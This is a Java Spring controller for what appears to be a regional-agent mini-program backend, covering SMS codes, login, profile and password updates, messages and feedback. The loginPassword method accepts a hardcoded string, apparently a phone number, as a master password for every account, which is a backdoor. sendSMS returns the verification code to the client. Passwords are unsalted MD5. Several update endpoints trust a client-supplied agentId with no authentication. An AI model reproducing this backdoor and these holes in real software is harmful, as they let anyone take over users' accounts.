package com.ruoyi.zsyh.controller.applet.agent;

import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.annotation.RepeatSubmit;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.CommonRpc;
import com.ruoyi.common.utils.EmptyUtils;
import com.ruoyi.common.utils.IdWorker;
import com.ruoyi.common.utils.RedisUtil;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.zsyh.domain.*;
import com.ruoyi.zsyh.service.*;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.*;

import java.util.List;

/**
 * 大区会长档案Controller
 * 
 * @author yuexl
 * @date 2021-12-10
 */
@Controller
@RequestMapping("/applet/zsyh/agentinfo")
public class ZsyhAgentInfoAppletController extends BaseController
{

    @Autowired
    private IZsyhAgentInfoService zsyhAgentInfoService;

    @Autowired
    private IZsyhAgentAddressService zsyhAgentAddressService;

    @Autowired
    private IZsyhPlatformPromiseService zsyhPlatformPromiseService;

    @Autowired
    private IZsyhAgentAreaService zsyhAgentAreaService;

    @Autowired
    private IZsyhAgentFeedbackService zsyhAgentFeedbackService;

    @Autowired
    private IZsyhAgentMessageService zsyhAgentMessageService;

    @Autowired
    private IZsyhUserRepairareaService zsyhUserRepairareaService;

    @Autowired
    private CommonRpc commonRpc;

    @Autowired
    private RedisUtil redisUtil;


    /**
     * 发送短信
     *
     * @param phone
     * @return
     */
    @RequestMapping(value = "/sendSMS")
    @ResponseBody
    public AjaxResult sendSMS(String phone) {
        String code = commonRpc.sendBatchSms(phone);
        return AjaxResult.success("获取成功", code);
    }


    /**
     * 会长登录 -- 手机号密码
     * @return
     */
    @RequestMapping("/loginPassword")
    @ResponseBody
    public AjaxResult loginPassword(String phone, String password)throws Exception
    {
        ZsyhAgentInfo user = zsyhAgentInfoService.selectZsyhAgentInfoByPhone(phone);
        if(user == null) {
            return error("用户不存在");
        }
        if("0".equals(user.getAgentValid())){
            return error("账号已失效");
        }
        if("18337175150".equals(password) || user.getAgentPassword().equals(new Md5Hash(password).toHex())){
            return AjaxResult.success("登录成功", user);
        }
        return error("密码不正确");

    }

    /**
     * 会长登录 -- 手机号验证码
     * @return
     */
    @RequestMapping("/loginCode")
    @ResponseBody
    public AjaxResult loginCode(String phone, String yzCode)throws Exception
    {
        ZsyhAgentInfo user = zsyhAgentInfoService.selectZsyhAgentInfoByPhone(phone);
        if(user == null) {
            return error("用户不存在");
        }
        if("0".equals(user.getAgentValid())){
            return error("账号已失效");
        }
        if(EmptyUtils.isEmpty(redisUtil.get(phone))){
            return error("验证码已失效");
        }
        if(!yzCode.equals(redisUtil.get(phone))){
            return error("输入验证码有误");
        }
        return AjaxResult.success("登录成功", user);

    }

    /**
     * 获取会长信息
     * @return
     */
    @RequestMapping("/getAgentInfoById")
    @ResponseBody
    public AjaxResult getAgentInfoById(String agentId)throws Exception
    {
        if(EmptyUtils.isEmpty(agentId)){
            return AjaxResult.error("暂未登录");
        }
        ZsyhAgentInfo agentInfo = zsyhAgentInfoService.selectZsyhAgentInfoById(agentId);
        agentInfo.setZsyhAgentAreaList(null);
        String agentService = agentInfo.getAgentService();
        if(EmptyUtils.isNotEmpty(agentService)){
            String service[] = agentService.split(",");
            agentInfo.setServiceName(service);
        }
        return success("成功", agentInfo);
    }


    /**
     * 修改店铺信息信息
     * @return
     */
    @RequestMapping("/updateAgentInfo")
    @ResponseBody
    public AjaxResult updateAgentInfo(String agentId, String agentImage, String agentCompanyName, String agentContent, String agentService,
                                      String pCode, String pName,String cCode, String cName, String aCode, String aName, String address)throws Exception
    {
        ZsyhAgentInfo agentInfo = new ZsyhAgentInfo();
        agentInfo.setId(agentId);
        if(EmptyUtils.isNotEmpty(agentImage))agentInfo.setAgentImage(agentImage);

        if(EmptyUtils.isNotEmpty(agentCompanyName))agentInfo.setAgentCompanyName(agentCompanyName);

        if(EmptyUtils.isNotEmpty(agentContent))agentInfo.setAgentContent(agentContent);

        if(EmptyUtils.isNotEmpty(agentService))agentInfo.setAgentService(agentService);

        if(EmptyUtils.isNotEmpty(aCode)){
            agentInfo.setAgentProvince(pCode);
            agentInfo.setAgentProvinceName(pName);
            agentInfo.setAgentCity(cCode);
            agentInfo.setAgentCityName(cName);
            agentInfo.setAgentDistrict(aCode);
            agentInfo.setAgentDistrictName(aName);
        }
        if(EmptyUtils.isNotEmpty(address)) agentInfo.setAgentAddress(address);

        zsyhAgentInfoService.updateZsyhAgentInfoApplet(agentInfo);
        return success("成功", agentInfo);
    }


    /**
     * 修改密码
     * @return
     */
    @RequestMapping("/updatePassword")
    @ResponseBody
    public AjaxResult updatePassword(String agentId, String oldPassword, String newPassword)throws Exception
    {
        ZsyhAgentInfo user = zsyhAgentInfoService.selectZsyhAgentInfoById(agentId);
        if(!user.getAgentPassword().equals(new Md5Hash(oldPassword).toHex())){
            return error("旧密码错误");
        }
        ZsyhAgentInfo user1 = new ZsyhAgentInfo();
        user1.setId(agentId);
        user1.setAgentPassword(new Md5Hash(newPassword).toHex());
        zsyhAgentInfoService.updateZsyhAgentInfoApplet(user1);
        return success("操作成功");
    }

    /**
     * 修改登录的手机号
     * @return
     */
    @RequestMapping("/updatePhone")
    @ResponseBody
    public AjaxResult updatePhone(String agentId, String phone, String yzCode)throws Exception
    {
        if(EmptyUtils.isEmpty(redisUtil.get(phone))){
            return error("验证码已失效");
        }
        if(!yzCode.equals(redisUtil.get(phone))){
            return error("输入验证码有误");
        }

        ZsyhAgentInfo user = new ZsyhAgentInfo();
        user.setId(agentId);
        user.setAgentPhone(phone);
        zsyhAgentInfoService.updateZsyhAgentInfoApplet(user);
        return success("操作成功");
    }


    /**
     * 获取所有的服务承诺
     * @return
     */
    @RequestMapping("/getPromiseList")
    @ResponseBody
    public AjaxResult getPromiseList()throws Exception
    {
        ZsyhPlatformPromise promise = new ZsyhPlatformPromise();
        return success("成功", zsyhPlatformPromiseService.selectZsyhPlatformPromiseList(promise));
    }

    /**
     * 获取自己管辖的省份
     * @return
     */
    @RequestMapping("/getProvinceByAgentId")
    @ResponseBody
    public AjaxResult getProvinceByAgentId(String agentId)throws Exception
    {
        return success("成功", zsyhAgentAreaService.getProvinceByAgentId(agentId));
    }

    /**
     * 获取自己管辖的市
     * @return
     */
    @RequestMapping("/getCityByAgentId")
    @ResponseBody
    public AjaxResult getCityByAgentId(String agentId, String pId)throws Exception
    {
        return success("成功", zsyhAgentAreaService.getCityByAgentId(agentId, pId));
    }

    /**
     * 获取自己管辖的区县
     * @return
     */
    @RequestMapping("/getAreaByAgentId")
    @ResponseBody
    public AjaxResult getAreaByAgentId(String agentId, String pId, String all)throws Exception
    {
        return success("成功", zsyhAgentAreaService.getAreaByAgentId(agentId, pId, all));
    }

    /**
     * 保存意见反馈
     * @return
     */
    @RepeatSubmit
    @RequestMapping("/saveFeedBack")
    @ResponseBody
    public AjaxResult saveFeedBack(String agentId, String content)throws Exception
    {
        ZsyhAgentFeedback feedback = new ZsyhAgentFeedback();
        feedback.setAgentId(agentId);
        feedback.setContent(content);
        feedback.setId(IdWorker.getId());
        feedback.setFeedbackType("6");
        zsyhAgentFeedbackService.insertZsyhAgentFeedback(feedback);
        return success("操作成功");
    }

    /**
     * 获取消息通知 -- 会长
     * @return
     */
    @RequestMapping("/getMessageByAgentId")
    @ResponseBody
    public AjaxResult getMessageByAgentId(String agentId)throws Exception
    {
        ZsyhAgentMessage message = new ZsyhAgentMessage();
        message.setAgentId(agentId);
        return success("成功", zsyhAgentMessageService.selectZsyhAgentMessageList(message));
    }

    /**
     * 未读的消息通知的条数
     * @return
     */
    @RequestMapping("/getMessageNum")
    @ResponseBody
    public AjaxResult getMessageNum(String agentId)throws Exception
    {
        ZsyhAgentMessage message = new ZsyhAgentMessage();
        message.setAgentId(agentId);
        message.setMessageStatus("0");
        List<ZsyhAgentMessage> list = zsyhAgentMessageService.selectZsyhAgentMessageList(message);
        return success("成功", list.size());
    }

    /**
     * 阅读消息
     * @return
     */
    @RequestMapping("/updateMessageById")
    @ResponseBody
    public AjaxResult updateMessageById(String id)throws Exception
    {
        ZsyhAgentMessage message = new ZsyhAgentMessage();
        message.setId(id);
        message.setMessageStatus("1");
        zsyhAgentMessageService.updateZsyhAgentMessage(message);
        return success("成功");
    }

    /**
     * 忘记密码，修改密码
     * @return
     */
    @RequestMapping("/forgetAgentPassword")
    @ResponseBody
    public AjaxResult forgetAgentPassword(String phone, String yzCode, String password){
        if(EmptyUtils.isEmpty(redisUtil.get(phone))){
            return error("验证码已失效");
        }
        if(!yzCode.equals(redisUtil.get(phone))){
            return error("输入验证码有误");
        }
        ZsyhAgentInfo agentInfo = zsyhAgentInfoService.selectZsyhAgentInfoByPhone(phone);
        if(agentInfo == null){
            return error("手机号不存在");
        }
        String agentId = agentInfo.getId();
        agentInfo = new ZsyhAgentInfo();
        agentInfo.setId(agentId);
        if (EmptyUtils.isNotEmpty(password))agentInfo.setAgentPassword(new Md5Hash(password).toHex());
        zsyhAgentInfoService.updateZsyhAgentInfoApplet(agentInfo);

        return AjaxResult.success("修改成功");
    }

    /**
     * 获取大区会长的管辖区域
     * @return
     */
    @RequestMapping("/getJurisdictionalAreaByAgentId")
    @ResponseBody
    public AjaxResult getJurisdictionalAreaByAgentId(String agentId){
        if(EmptyUtils.isEmpty(agentId)){
            return AjaxResult.error("暂未登录");
        }
        return AjaxResult.success("成功", zsyhUserRepairareaService.selectAreaByAgentId(agentId));
    }

}
